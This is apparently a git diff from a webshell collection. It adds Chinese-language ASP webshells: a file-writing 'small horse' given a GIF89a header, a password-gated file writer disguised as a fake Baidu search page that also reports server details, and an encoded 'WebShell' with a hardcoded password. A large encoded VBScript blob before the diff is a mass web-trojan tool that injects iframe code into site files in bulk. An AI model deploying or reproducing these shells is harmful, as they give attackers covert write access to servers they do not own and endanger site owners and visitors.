*@#@&7didWk^+OaDP',Jmm/+vGWk^+cDnl[C^Vc#*@#@&id77&0P(UkY.`,WbVnD6D~PdZmd+vDn;!+dOcsWMh`r?+m.^t|ZKxO+UOr#b#,@*PZPP4x@#@&7id7dDnsw~{Pr@!l,tMn0{JEtDY2lJzJL]+$E+kO ?D7+.\C.bl8Vd`r/n.7+DmUm:nJ*'rzELY`ISAx1GN`]+aVC^`D2Vmm+vO4+hlDtS/n.7+.RtCwhlO4vJ-EbLJwJBEr~qBFBF#BJ'E~rzE#*[EErPYm.oY'|8sl 3@*J'Dn2^l^+vOtnCO4~/n.7+.RtCanCDtvJ-r#LE-r~EJBFSqBF#LE@!Jl@*r@#@&P,P,Yn:2xD+hwLEP→,@!C~4D+WxELC\md1DraY=sE^VwGDs`EJr[.naVl1n`M+w^C^+vsbVnnCO4~d+M-+MR\CanlO4vJwJ*'r-EBJr~FBFBq#BJwJBJwwr#[rEJBJJA[rYwk^+EJbv,mslkd'Elhv,YkOs'v编辑B@*39kO@!zm@*Pr@#@&7Y:2'D+h2LJ@!m~tM+0{v%l7lkm.k2O=s;V^oWM:cErJ[.naVCmcM+2^l1+`wk^nnmY4~k+.-DRtCwhlY4cE-r#LJwJSEr~q~8SF*~Ewr~Jwwr#'JrEBJEG+^sk^+rE#EP~W msr13'E.+DED ~z+kW0`bB~^^ld/{vlsB~ObYVnxE删除B@*fs@!zC,@*,J@#@&dDn:a'O+sw'E@!lP4.+6'BNC-lkmMk2Ylo!VssK.:vJEELD+2smmn`MnaVC1+vsk^+hCY4~d+M\n.cHlaKlDt`rwE#LJ'JSJES8~q~8b~r-ESr--EbLJEJBErZGaXwkVJrbB,mslk/xvm:B,OkDV+{v复制v@*;WaX@!zC@*,J@#@&iO+swxO:w'E@!l~tMn6'vNl7l/1Db2Y=s;V^sG.s`JrE[M+w^C^+vDwsl^nvsrVKlDtSdD\n.cHCwhCDtcr-r#[r-rSJr~q~8~qbBJ-rSJ'-J*'EJr~rJ\W-nwks+rE#EP^sm//xvm:vPDrDVn{B移动E@*HK\@!zm@*Ed@#@&77idI2WMYP{~]+aWMY'J@!OM@*@!Y9~tkL4D'&T@*r[O+s2LJ@!JY9@*@!DN@*E[V+OfmYn/M+lDn`Dt+hCOt*[r@!&Y[@*@!Y[@*r'Y4+9CD+[E@!JY[@*@!&DD@*r@#@&ddidi]+aW.Y,'~]wWMO[r@!YM@*@!Y9@*r[O+h2LJ@!zD[@*@!Y[@*r[MnOGlO+;.lO`Dt+hlD4#LJ@!zDN@*@!DN@*r'Y4+fmOn[r@!JY[@*@!&DD@*J@#@&did77UEx~x,?;x,Q,F@#@&diddi2XrY,?;4@#@&77id2 [P&0@#@&77diW6ks+ ^^Wd+vb@#@&d77i?+O~K0rV~{PHKY4kxT@#@&7didj+DPoj} /,xPgWY4rUo@#@&id72sd@#@&di7dD+h2,'PE@!mP4DW{JE4YDw)Jzr'I;;+kY jD\.\mDkm8s+k`r/nD-nM{UlsnJ*[E&r[Yi]d2UmK[`.w^lm`Mnw^l^+vsrsnlD4~k+D7n.RtlanCY4cr-E#LE-r~EEBF~qS8#SJ'EBJ&r#*[JrJ,OlMonY{{8smx3@*E[M+w^C^+vY4+KlO4B/nD7nDcHC2hlY4cr-E#LE'JSrJBF~8~8b[r@!&l@*PE@#@&PP,~Y:w{On:a[r@!CP4.0xBNC\m/^.bwYlo!VssK.s`ErJLD+aVm^+vDnw^l^nvsk^nnmYtBdnD7+MR\l2KmY4`rwJ*[Ewr~JES8~q~8bBJwr~r--r#LEJr~EJANrOwkVEJ*BP1sC/k'ElhB~ObYs+{v编辑B@*2[rD@!zC@*,J@#@&iO:2{Y:wLJ@!CP4Dn0{B%C7l/1.kaY)w;sVwWM:cJEELDnw^Cm`.naVl^nvsrVKmY4B/D\Dc\lanCY4`Ewr#[rwJBJJBqSFBF*~E-ESr-wJ*'JrJSErf+sobVnJrbEP~Kx1Vk13{vDY;D PznkW3vbB,mVmdd'ElsB~YrO^+xB删除E@*fV@!&mP@*~E@#@&7Yha'O:a[J@!l,4D0xBNl-CkmDb2Y=sE^soWM:vJEJ'.wsl1n`M+2smm+cobVnnmO4~dD7+DcHm2nmY4`r-EbLJ-rSJr~FBqSF*~r-E~Ew'Jb[rEJBJE/KwXor^+EJ*v,msm/k'Bm:E~YbYs+{B复制v@*;WwH@!zm@*Pr@#@&dD+swxYnha[E@!m~tM+WxELl-Ckm.kaO=s;^VwWDs`rEJLDnw^l^nvD+asl1+`wrs+hlDtS/n.7+.RtCwhlO4vJ-EbLJwJBEr~qBFBF#BJ'E~r-wJ*[EEr~Jr\W7+sbsnJr#EP^VCdk'vlsvPDkOs'B移动v@*tW-+@!&m@*Ei@#@&ddid"nwKDOP{P]naWDD'J@!YD@*@!ON,tkLtOx2!@*JLO+sw'E@!zY[@*@!Y[@*r'V+OGlD+ZM+mO+vY4+hlO4*[J@!&Y9@*@!D[@*JLY4+9lOnLJ@!zD[@*@!zO.@*J@#@&7id7?!U,'~UE P_,F@#@&did72XkO~UE4@#@&did2 [~q6@#@&d72U[,qW@#@&716OlAxN~j!4@#@&;Ck+~rw^o:r@#@&j+M\nDc?^.bwY:r:WEDxq!Z!Z!TP@#@&"+dwKU/R$;60+.xwls/~@#@&]"?,`J@!4@*当前网站绝对路径lJ*[j+M\n.cHlaKlDt`r&E#L`r@!&4@*E*@#@&bUK{U2Jo{I+5;/ORUnM\nM.mDkm4^n/vJKb:Cm(gsrrbP@#@&/{]n;!+kYcJW[r#~@#@&r0,/xErPY4n Pd'UnM\nMRtlwhlD4`rzE#@#@&na{I+$;+kY`rnaJ*P@#@&2Y4x"+5EdYvJ2O4J#~@#@&xnh1UD'];!+/D`rU+SmUYr#~@#@&lN9^W9+P{~]+$E/O`E^KNnJ*@#@&b0~C9NmG['EJ,O4+U,l9NmKNxJ@!kWDm:n~kDm{4YDw)J&q FRZRTRq&sR4Ys~hbNO4{!P4nbo4Y{T@*@!&b0Ml:@*r@#@&&0~+X@!@*ErPbg9PaYt@!@*EJ,K4+UP@#@&k+s+1OP;ldn,+6~@#@&ZC/~r+[bYrP@#@&ZzJS,0rV{d4Kh`aOt*P@#@&/C/Pr/C\nE,@#@&ZzJS,0rs{/C-`2Y4b,@#@&Ax9P/V^Y,@#@&2^/n~@#@&I"j`r@!0K.hPs+DtGNxErn6?:EJ@*PEb@#@&I]jvJ@!Ym8^+~Sk9Yt{*+TP(W.NDxEr!Jr~/DXVxEJ6W YR/r")q aairJ@*E*@#@&]]U`E@!D.@*Jb@#@&"I?vJ@!ON,hrNDtxErF!yEJ@*要挂马的文件夹P`绝对路径*:@!&Y9@*r#@#@&]]U`E@!D[PSk[O4'JEfl,EJ@*@!bx2!Y,YXa+{EJD+aYrJ~Um:+{EJ6NJr~-l^E'EJE'k[EJr~/bynx+!@*@!&DN@*J*@#@&I]U`r@!Y9PSrNDtxJrv1Er@*[ 8/ai@!JO[@*r#@#@&]Ijcr@!&YM@*@!DD@*@!DN@*要挂马的代码l@!JY[@*rb@#@&]"?vJ@!DN@*@!Y6OlM+C~ l:xJrmW9nEJ,mKVd'X0,DGhkxJr&EE@*J[C[9mGN'r@!&D+XYlM+m@*@!JY[@*r#@#@&"I?vE@!DN@*@!rUw!Y,xC:nxrJdE(hkDJE~DXwnxrJdE(hbYErP7lV!+{EJ开始rJ@*@!JY[@*r#@#@&]IU`J@!&OD@*@!JYC4sn@*@!&0K.:@*PEb@#@&2U[,qW@#@&o!x^DkKxP&/hCYD+.xvwCOD~/D.#,@#@&U4r?mx{JWq~[ 2=PdVmsxUM+YOCh/(U,nkV3?PED:' .+DYCnkq=~ +t:~+!DK{sC.D+MPWq=~TxrtDG1{63LDPOnUU~#MOk`Ok+:R6Ao.'^l#YD=~ED:x+klZ.GxTqc63on.?POYm2' DnODln aAonD?~a63T+"Ph1{a2T+.PD+jE=26/E:+``tj?v?4kjlUb*)3x9~s!x^ObWx~@#@&kWPMn$EnkYc0WM:vE/!4hkDJb@!@*JJ,Otx@#@&(WPk'rJ~W.~mN[mK[+{JE~:t+U@#@&I]?,E@!0G Y,mW^WMxDN@*请输入挂马的路径或代码"@!zWG Y@*r@#@&M+/aGU/Rx[@#@&n^/nP&WP&/KCDY+.UvJ,7m8Y q))PF8v-'k-J#E~k#~P4+x,dm4P/,@#@&2 N,qW@#@&n N~k6~@#@&?;8,/m4ck#lWg~I.}D,D2kjs3P 2aK,@#@&jYP6d'U+D7n.R1DlO+68N+^YvE?1Dr2DkxL wks+UzkYnsr(L+1YrbP@#@&j+DPW[{0/c!+DsW^[nDv/*P@#@&jnDPWk{WNcsrs/P@#@&U+OPkW{0[c?!4sKV9nDkP@#@&wW.~Alm4~0,kx,WrP@#@&MYU'W alOt,@#@&kYn2|lVs~MYUP@#@&g+aDP@#@&q6PkWR;W;xD@!@*T,KtUP@#@&sK.~2mm4PsP(U,/WP@#@&/1t~s,@#@&HnXY~@#@&3 N~&0=2x9PU;4=?;4,/Ona{l^s`moD*l.+D.mVxqdKmYO+MU`r`ww--zbc9+Wl!sDur N6u1W UumNhk u88kuDLu4+Vak;w6k^+kE2sKl[u1CDDu^sm//ksKorx-[bXk W-W3-Nsu1WU0bokd$Vu!d+MuE(8k0Dw-ldwkOKwkxAuKwnU-xlhn-+hlbs-khTub:lT+kkh4k4^WLkkl\kNmYl-C[N-+9kOuLCs+kl(GEDuhC lon.-:Ck kmDObm^+u(WKVu(YkmKxWrTu:afu7WN-n.DKD-mGwzksW-+-[WSxkdH/Ynh-VGoKk5pkl Zuxh!2usX;w-wsCHu/4Gh-\kAkkauD.cT*-/nx9k0KWOk1tl.kbxWW-sb/O-/4Ww-+M.u mkl9uWsm/t-O+XYum[hk {!wWksn-l[:bU{!wsGmNu;26ks+|sKl[-Ea0k^+|dW6YkEa0rs{w4GYKuEaWrV{kWWY2r1u-kak*Z*bwc`tOh-tO:^km/2-w4wuN/aklkwau1orkN/#'8JBloMb~@#@&q6P.+O#mV~K4nx,@#@&dD+wq~mo.P@#@&kYna ,loMP@#@&2^/nP@#@&3abYPU;4=2x9~(0=2 N~?;8=?;4,dYwqckYDqb=I]?,E@!Nr7PkYX^+{vVbxnO4+rL4Y)yTwXB@*√,E'/DD8[EPmE@#@&]Ik~J@!l~4M+0xvNl-lk^Mk2D)wEV^sK.:vJEJLDn2^lmc/DDFBEwJBJ'-E#'ErJSJr9WSxor^+JEbEP^Vmdk'vm:EPYbY^n'E下载B@*fKhU@!Jl@*,E@#@&IIU~E@!mP4Dn0xvNl-lk^DbwOlwEVsoKDh`rEr[.w^lm`kOD8~E-r~Ew'J#LEJr~Jr3[kDsbVnJEbEP^Vmd/{BChEPYrO^+xB编辑E@*NrD@!Jl@*,J@#@&I"?~J@!l~4M+0{vLm\lk^.kaY=s;VsoKDh`rEJLDn2^lmnckY.FBE'JSr-'J#LJrE~rJ9+^srsJJ*vW mVb^V'EDY;DU~H+dW0c#EP^sm//xvm:vPDrDVn{B删除E@*fV@!&l@*PE@#@&I]j,J@!m~tM+0{v%l7lkm.k2O=s;V^oWM:cErJ[.naVCmckY.8~r-JBJ'wJ*[EJr~EE;WwHok^+JrbvP1Vm/d'vCsB~YbOV'v复制v@*ZW2z@!zC@*,E@#@&]"?,J@!mP4.+6'vLm\Cd1DkaO)wEV^oGDs`rJE[.naVCmc/DDqSr-JSE'-E#LErJSrJtW\sbs+rJbB,msCk/'EC:EPYbOs+{B移动E@*\W-n@!zC@*@!&Nb\@*E=2x[~UE8P=j!4~kYw v/D. *)j+DPWd{?+M-+MRmMnCYr(LnmOcr?^Db2YbxL wkVnjH/O+s6(Ln1Yr#P@#@&bd2XkdY{0d wkV36b/YkcdYM *P@#@&(W,kd2Xr/DPP4xP@#@&U+OP6x6/ V+Dsk^+vdYM bP@#@&jnDP0|CN9mW9nx0cra+UbdP6O?D.+m:c0BO b~@#@&W{m[9mG9+cDbY~l9N^W9+~@#@&0{m[N1WN /VK/P@#@&jnDPW'gGY4kUL,@#@&3U9P(0,@#@&?nDP6/'gWD4k ol2 N~j!4)A.DcZVC.);lk+~J/2^ohJ=owmY4x"+;;nkYcJ6[r#@#@&dmNN1W9nP{P]+$EndD`J1GNJ#@#@&7l9N1W[++~{P]+$;+kYcE1WNn+r#@#@&i210r^+{D+$EdYvJ2m6ksnr#@#@&7m4+m08G6{D;;+dOvJ^t^3(WaE*@#@&7j4WAHkL{Dn$E/YvJU4WSHdor#@#@&isKH2+{D+$;n/D`rsPX2nr#@#@&i\'M+5;/YcEtJb@#@&7b0~wYHw+{Jr~Y4+UPwYz2'JDaY-tYsk4YsV-ldwk24wkLk2um/2a-mork1+.umdmu^96r@#@&ik6~salOt{JwE,YtUPwwlD4x?D7+.R\CanCY4cJ'Jb@#@&dkW~wwCY4xrRE,WMPsalD4'rJ~Y4+U~wwlD4'U+D7n.RtlanCY4crRE#i@#@&ikW~mNN^G9+xJr~Dtn PmNN1W9n'r@!r0Mlhn,/D1xtDYw=&&FyGc! ! qJ: tDhPSk[O4'!~4kLtDxZ@*@!Jk6Dls+@*E@#@&dr0,m4n134Ka'rJPD4nx,m4+^38GX'.+$;+kYcE1t+^V(WaJ*@#@&dr6Pam0bVxJrPOtx@#@&idw1Wk^+1mhn'"+$En/O U+.\..mDrC(V+dcr?/I&K:{HzHAJ#@#@&i7w10rV3xdaVkDcw10k^nHls+BJ&Jb~@#@&7da^0bVnU{E4G; Ncw1WbVn0#,@#@&ida^0bVn'amWr^+3v2m6kVUbP@#@&i+UN~r6@#@&P,7I"?~cr@!4@*网站根目录@!J4@*O,EL?nM\DRtlaKlDtcJJJb'r@!4M@*J*@#@&i]]?,`r@!8@*本程序目录@!&(@*RPr'?D-nMRHC2hlOtvEcJb*@#@&dI"?,E@!6W.:,:nO4WN{KrUK@*@![r\,/DXs+xv1WsWMlaZ!ooZ!B@*@!(@*,J,@#@&dr6Pt'J8J,Otx~I"?E批量挂马器R批量挂马r@#@&ir0,H'r+EPDtx~I]jr批量清马器O清除别人的网马E@#@&7k6P\xr&J~O4+UP"]UJ批量替换器R文件替换修改工具r@#@&dk6PtxJrPOtx~./wKU/R+ [@#@&iI"?~JD@!J4@*@!J[k7@*@!Om4Vn~Sk[Y4x8!TuP(WD9+Mx!@*@!OD@*@!O[@*文件路径:@!zD[@*r@#@&i]]?,J@!Y[@*@!r w;Y,OXa+xO6Y~Um:n'6[,\C^E'Br[w2lDt'JEPdr.+'WT@*,填“-”即网站根目录;“R”为程序所在目录@!&ON@*@!JY.@*E@#@&dr0,\'rFE~Dt+U~"IjPr@!DD@*@!Y9@*过滤重复:@!JY9@*@!DN@*@!bx2;DPm^C/k'm,UC:'Em4+^V(WaB,OXa+x^4+mV8K6~\ms!+xEm4+m0+9vPr[^tmV8K6[r@*P防止一个页面中有多个重复的代码@!zY9@*@!zDD@*J@#@&7]"?~J@!OD@*@!O[@*排除文件:@!zO[@*J@#@&i]"?~r@!DN@*@!k 2EDPUls+xvam0bs+EPYH2n'D+XY~k[xEw^0bs+EP-C^E+xvr[2m6r^+'rB,/k.+{*!@*P输入不想被修改的文件名,例如:qRm/2kyRlk2u2Rlk2@!zDN@*@!&Y.@*r@#@&d"]?,J@!OM@*@!O[@*文件类型:@!&Y9@*r@#@&iI"?Pr@!D[@*@!kUw!Y~Um:+{vs:Xwv~YHw'O+aO,k['EoKHwnv,\ls;'vJLoDX2[rBPkk.n'W!@*P输入要修改的文件类型]扩展名T,例如:4OsutDhV-l/ak2tauN/2uCda6kmTr@!JY[@*@!zY.@*@!Y.@*@!O9@*@!6W YP1W^GD{aT!wsTT@*J@#@&7k6PH{EqJ,Y4+UP]]UJ要挂的马:E@#@&7k6P\xr J~O4+UP"]UJ要清的马:E@#@&ik0,H{E&rPOtx~]"?J查找内容:r@#@&iIIUE@!z6W Y@*@!&O9@*@!Y9@*@!D+aOmD+C~ lh+{^KNn,mKV/{v+~DKhd'2@*E'mNN1GN[J@!&O+XYmDnl@*@!JY[@*@!&YM@*E@#@&dkW~t'E&r~Dtn P"I?,J@!OD@*@!ON@*@!WG YP1GVKD'[TTsw!Z@*替~换P为:@!&6WUY@*@!zDN@*@!DN@*@!O6OlMnmPUm:'mKN+P1Ws/{v~MWhkx&@*J[m[[mKN 'J@!&D+aYm.+m@*@!&DN@*@!&DD@*J@#@&iI]UPr@!YM@*@!ON@*@!&Y9@*@!O9@*P@!rxaEY,UC:'kE8:rO,Yzwx/!4hrDP\Cs!+x开始执行@*,R 标记解释OR]成功:√P,,排除:P,P重复:@!0KUY,mGVKDx.N@*@!&0KxY@*D@!zDN@*@!&Y.@*r@#@&d"]?,J@!&Dl4sn@*@!&0K.s@*E,@#@&k0,D5E/O`r/;8skYrb'r开始执行JPD4nx,@#@&I]?E@!9k-PkOX^+xv^kxnR4+ro4O= Xa6E@*@!(@*执行记录:@!&4@*@!8D@*J@#@&1lV^~q /+MO)V^sbVn/coalOtBCN9mG[~w^WbVn#@#@&"Ijr@!JNk7@*r@#@&x[Pb0lj!4P&U/DYzsssbV/c2CDtS1GN~2^*)?n.7+.RU^Mk2DKb:+KEDx,O,1,O,11@#@&d,r0,DkT4O`qwmY4~qb@!@*E-r~Y4+U~qwlO4{2lD4,[E'J@#@&d,?OPqsjr,'~/M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#@#@&iPG PDDKD,.+kEh+,xnaDP@#@&7PU+Y,W~',w?6R!nDsGV9nDv2CDt#@#@&iPj+D~6m+,',0R6k^n/@#@&7PwW.~Alm4~:H0k^n~k P6m+@#@&7i?nY,o?8Px~;D+COr8L^D`EUmMkwDk LRwks+UXdO:r(%+1YJ*@#@&dis:X2+qxkwskDc:H0rsRxCh~ERrb,@#@&idwKXa+yxE(W;x9`oPHw+8bP@#@&dirWPwYHwn @*T,Y4+ @#@&idoPHw+fxdZC/cwKza+8`s:Xan *#~@#@&d7n^/+@#@&disKH2n&{J无r@#@&d7n N~k6@#@&idrW,qxdOM`JZmd`21#BSZm/c:H0rVRUCs+#*x!,lx9~(xkYM`JZCd`oKH2+*~oPHw+fb@!@*TPD4x@#@&did/V^Y,mC/P\@#@&ddi7mm/+,EqJ@#@&id7d7r6P^t^3(Wa@!@*Jm4n13nNr~Dtn @#@&ddidi7?Y~Y6ksn{s?8 Wa+xDnaY6k^+c2CDt'Jr':H0rsRxCh~0~ +*@#@&ididdiY6rVRADbYnsbx+, mKN+@#@&7didid]IjE√,J'aCY4[hz6kVn lh+@#@&id7idiY0bV m^Wd+@#@&77idds/@#@&i77didU+OPOWbVnF{o?8RG2xYnaD0rVcqwCDtLJJL:HWk^+ xm:nS8~Oyb@#@&ddi77db0,qU/O.vYWk^nFcDnC9lVsSqmGNb{!~Dtx@#@&di7did7?Y~O6kVxsUFRK2nxD+XYWksnv2lD4[rJ'hH0ksncxC:SR~Ry#@#@&didi7diYWk^+ AMkYsk +Pq^GN@#@&d7d77id]IUE√P,J' alY4'sXWk^ncxCs+@#@&didi7diYWk^+q 1VWkn@#@&ddi77dVk+@#@&77id7di]IUJ@!WKxY~^KVGD{.N@*@!z6WxD@*,E[qwCY4[hz6kV xm:+@#@&7didid7YWr^+qR1sWk+@#@&idd77i+UN,r6@#@&ididdi?OPD0rVFxHKYtbUo@#@&di77dx9Pr0@#@&id7d1C/PE+r@#@&77id7?O,YWbVF'w?8 Wa+UY6OWbV+v wmYtLEE[sX6ks+ Um:n~8SOy#@#@&idd77g+AZK[']w^lm`DWk^+qRM+C[mVVB mKN+BEE#@#@&id7d7jY~W(%ZKEUOwkVnxqsjrc/M+CD+:+6Dsbs+v2lDt'hH0k^nR l:SPD!+*@#@&d77idG4N/W!xOobV+ MkO+,Hh/KN@#@&idi7dK4%ZKEUOwkV Z^W/@#@&didid]IjE√,PE[q2lDt'hH0ksncxC:@#@&d7idi?+DPK8L;W;xDsrs'1KOtbxo@#@&7did1ld+~E2J@#@&i7didjnDPYWr^+q'wj8RGa+ Y+XY6rV` wmY4'rJ[sz0bV+cUC:~8~R b@#@&d7di71h/G9+']naVCmcD0r^+8RDl9CV^~ mKNnSmNN;GN #@#@&7didi?nY~G(L/W!UYwksn{sj6cZ.+mOKnXYwkV`q2lDt':H0rsRxmh+BKD!nb@#@&did7dG8NZGE OsbVn qDkOn,1nh;G9+@#@&diddiW(%ZKEUYwksncZVKd+@#@&di77d"IUJ√~PE'qwCY4':H0rsRxCh@#@&di7idjY,W4NZK;xDsrV'HGDtk L@#@&ddi7^lk+,+s/n@#@&d7di7I"?E你很想破吗_真的很想破吗Q没门我告诉你RJl./2W dRn N@#@&didUN,/nVmO@#@&dds/@#@&i77I"?rPE[ 2mY4[sz0bVn l:n@#@&d7+ [,kW@#@&"I?,J,→~@!mP4D0xvNl\mdmMkwDloE^VwW.:cErJ'D2VmmncqwlO4L:z0bsRUm:~J'JBE-'Jb[rJESrJfKAxwkVEE#EP1VC/dxElhB,OkDVnxE下载B@*9GSx@!zm@*,J@#@&I"?Pr@!m~tM+W'ELC-m/mMrwD)s!sssKDs`EJE'M+2Vm^+v2CDt[hz6ks+cUm:nBJ'J~r-'E#LJEJBJE39kYwrVJJ*v~m^lk/xBChEPOkDs+{B编辑v@*NkO@!Jl@*Pr@#@&I]UPr@!l,tMn0{B%l7ld^MkwDls!VVwG.:vJrJ'Dn2^l^+vdYMFSE'J~Ew'Jb[rEr~ErfVsbVEJ*B~PKx^sbm3{vDYEMU~X/K3c#v~1VC/kxBm:v~DkYsn{B删除v@*Gn^@!&m@*,J@#@&I"jPr@!CP4DnW{BLm-lkmDb2O)wE^VoW.hvJEJL.+aVC^`2CDt':HWbVncxm:+BJ'E~r-wJ*[EEr~Jr/WaXsbsnJr#EP^VCdk'vlsvPDkOs'B复制v@*;W2X@!&m@*~r@#@&IIUPr@!l,t.+6'v%m\lk^DbwY=o;V^sKDh`EEr[.+asl1+c alY4'sXWk^ncxCs+BJ-r~rw-r#'JrJSErHW7nsbV+rEbB,m^ld/xvm:vPDrY^+xv移动E@*HG-@!&l@*@!(D@*r@#@&dPg+XO@#@&Pj+DPWd!40Ks+M/P{~WRUE(sGV[nM/@#@&,oWMP3C1tPWq,kUP6d!4WKVD/@#@&iH+SnCY4' 2mYtLEJL0FcUC:@#@&P7qUdDOb^ssbVnd,1+AKmY4~q^KNnBw1@#@&,1aY@#@&d+DPOWbV+{UWDtk L@#@&U+DPo?6~{PHWD4k o@#@&k+Y~O6ks+{UKY4bxT@#@&k+D~Y6ks+y'UGDtk L@#@&?+D~ sUr,'~1GO4kUo=3x9Pj;()ZCdPEIC9I3VJ=ml^V,]+mN]2V`bl;l/~JUtWSqok^+r)j+O~zA/'gnh,S$o=bA/ UtGh8obVnv?//bW cJwWsNDKCDtJ*b)U+Y,)$Z{1KY4kUL=ZC/~JGWAUwkVnE=fGh obVn,sgl:)U4WS2.Dv#l/m/+,EfVsbsnJ=?Y~b$/{1nh,JAw))$;Rfnswks+voglh#=?+DPz$Z{1GY4kUL=ZlknPr2NbOok^+r)j+O~zA/'gnh,S$o=bA/ ANrYwr^+cw1m:+*)UnY,b$Z{1GO4kxTlZm/+,E/WaXwks+ElU+OPz$Z{1nA,SAolzA/R;GaXobV`sglsn#=?nY,b$/{1WD4k o);Cd+,JtW-+or^+E)UnY,b$/{1+A~dAo)z$;R\K\sk^+vo1m:n#=?nO,bA;x1KYtbUL);lk+~J9n^sGV9nDr)jnDPb$/{1nh,J~slzA;RfVwGV9+.`w1Ch#)UnY,bA;xHWDtbxL)/Ck+~J;GwHsGs9+DElU+OPz$;'Hh,SAw)z$ZcZGwHsGs9+Dvo1m:+*lj+DPzA/'HGDtrxTlZm/n~rHW-nwWsN.r)jY,bA;'gnh,S$s=b$/cHW7nsKVN.csgls+b)jnDP)A;x1KY4r o)/Ck+~JgnSsG^NDJ=?OPzA/'g+A~dAs=)A;R1AoW^NDcsHCs+b)UnY,b$/{1WO4bxL);Ck+~rjask^+rljasrV`bl;l/~J;:N8j4+^Vr)/:[qUtnV^c#=ZCdPJJGTW;YrlU+dkkKxR;W O+ YdR"+hG7+`rA+( ly[hk J*)]+d2Kxd+c]+9k.n1YPi]d)/lkn,J/M+mY+tN(E);DnlD+\[(PsgC:)ZmdnPrZK:2l^OtN8J=/WswC^DHN8~w1C:l;ldPrf4tl CoDE)G4\C lo.`*)ZmdnPrZKE./nE=ZGEMd+v#l/m/+~ES:rJ=Askc*);l/Prjmmx9Db\noKD:r~),?mmU9Db\sGDhl;ld+,E?1lU9Mk\nE,P~P,l,?^mxGDk7+,]+$En/D`E9Mk\E#=Zlkn~JUmwWsNn.rP~P,~P=Pj^wWV[nMP]+$;/OvJwWV9+ME#=ZC/PEC9:k C4r)l9hrxm4v#lZCdPE/$sl(mElk;VC81`b);Ck+~r0!m3r)6;m0`b);ldn,JtKG3r)tKGV`*);ld+~ETW[XrloKNzc*)ZCdPE/!WDwE=/!0Ya`*lZm/nPrE2sKlNrlEaVWm[c#=Zm/nPEjD-+M(x6WElU+D-nMqU0Kc*)/m/P2^/~HmkUsKDhc*)2 [PU+V^O@#@&k6P)mOrKx@!@*rj+M\;E,YtnU,?4WS3MDc*)"I?r@!J8W9X@*@!JtOh^@*JjA+IAA==^#~@%> diff --git "a/asp/\345\260\217\351\251\254diy.asp" "b/asp/\345\260\217\351\251\254diy.asp" new file mode 100644 index 0000000..d9f64db --- /dev/null +++ "b/asp/\345\260\217\351\251\254diy.asp" @@ -0,0 +1,101 @@ +gif89a +<%@LANGUAGE="VBScript" CODEPAGE="936"%> + + + +法客论坛 - F4ckTeam + + + + +

    +<% dim FSO %> +<% dim Data %> +<% dim MyFile %> +<% on error resume next %> +<% Set FSO = Server.CreateObject("Scripting.FileSystemObject") %> +<% if Trim(request("path1"))<>"" then %> +<% Data = request("path2") %> +<% Set MyFile=FSO.CreateTextFile(request("path1"),True) %> +<% MyFile.Write Data %> +<% if err =0 then %> +<% response.write "写入成功! " %> +<% else %> +<% response.write "写入失败!" %> +<% end if %> +<% err.clear %> +<% end if %> +<% MyFile.Close %> +<% Set MyFile=Nothing %> +<% Set FSO = Nothing %> +<% Response.write "" %> +

    + + + + +
    + + + + +
    + + + + + + + + + + + + + + + +
    +<% Response.write "我的位置:" %> +<%=server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> +
    +<% Response.write "
    " %> +
    这里填路径:<% Response.Write "" %> +
    +<% Response.write "这里填内容:" %> +<% Response.write "" %> +
    +<% Response.write "" %> +
    + + diff --git "a/asp/\345\270\246\345\257\206\347\240\201\347\232\204\345\260\217\351\251\254dog.asp" "b/asp/\345\270\246\345\257\206\347\240\201\347\232\204\345\260\217\351\251\254dog.asp" new file mode 100644 index 0000000..345b3f7 --- /dev/null +++ "b/asp/\345\270\246\345\257\206\347\240\201\347\232\204\345\260\217\351\251\254dog.asp" @@ -0,0 +1,56 @@ +<% +on error resume next +%> +<% + if request("pass")="dog" then + session("pw")="go" + end if +%> +<%if session("pw")<>"go" then %> +<%="

    "%> +<%="
    "%> +<%="
    "%> +<%="新 闻 网 页 贴 吧 知 道 MP3 图 片 视 频"%> +<%="

    "%> +<%=" <%="type='submit' value='百度一下'>
    "%> +<%="


    "%> +<%="哈客部落|残剑专用"%> +<%="


    "%> +<%="把百度设为主页"%> +<%else%> +<% +set fso=server.createobject("scripting.filesystemobject") +path=request("path") +if path<>"" then +data=request("da") +set da=fso.createtextfile(path,true) +da.write data +if err=0 then +%> +<%="yes"%> +<%else%> +<%="no"%> +<% +end if +err.clear +end if +da.close +%> +<%set da=nothing%> +<%set fos=nothing%> +<%=""%> +<%=""%> +<%="
    "%> +<%="当前文件路径:"&server.mappath(request.servervariables("script_name"))%> +<%="
    "%> +<%="操作系统为:"&Request.ServerVariables("OS")%> +<%="
    "%> +<%="WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")%> +<%="
    "%> +<%="服务器的IP为:"&Request.ServerVariables("LOCAL_ADDR")%> +<%="
    "%> +<%=""%> +<%="
    "%> +<%=""%> +<%=""%> +<%end if%> diff --git "a/asp/\346\232\227\347\273\204WebShell\350\266\205\345\274\272\345\212\237\350\203\275\347\211\210(\345\242\236\345\274\272\347\211\210).php" "b/asp/\346\232\227\347\273\204WebShell\350\266\205\345\274\272\345\212\237\350\203\275\347\211\210(\345\242\236\345\274\272\347\211\210).php" new file mode 100644 index 0000000..3475415 --- /dev/null +++ "b/asp/\346\232\227\347\273\204WebShell\350\266\205\345\274\272\345\212\237\350\203\275\347\211\210(\345\242\236\345\274\272\347\211\210).php" @@ -0,0 +1,9 @@ +<%@ LANGUAGE = VBScript.Encode %> +<% +UserPass="heroes" +Server.ScriptTimeout=999999999 +Response.Buffer =true +On Error Resume Next +ShellName="暗组WebShell超强功能版(增强版)" +#@~^o98BAA==jbYn`Id'J4YD2)JzAhSR9CM3/D mK:zr@#@&ZKwHDro4O{J暗组技术小组~P=~PShA 9lDVdDR^Ws@!az@*@!Ym4VPSrNDtxJrcXTrJP(GD9+D{EEFrJ,mnVs2mN[k L'rJqTrJ@*@!OM@*@!Y9@*@!Nr7PmVkTx{^+ YnD@*Ael,空气[x(dwLx4k2'x(/a[U4d2Lx8/a'x(/2' 4/29mYn)yT8 T2 l@!zDN@*@!zDD@*@!JYC8^+@*r@#@&kE4,j4WS2MDc#@#@&&0~2M.P:tnU@#@&P~~,I]?r@!(D@*@!l,tD0{vLm\C/1Dr2D)tbdYKDXc8Cm0`*B@*@!8.@*[U4k2irP'~ADD 9/^D&2DkG PLPJ@!zm@*@!(D@*J@#@&~~,P2M.R;V+m.lI/aWU/n wV;/4@#@&,P3H9Pqo@#@&2UN,j`A@#@&EMV'M+$;+kY 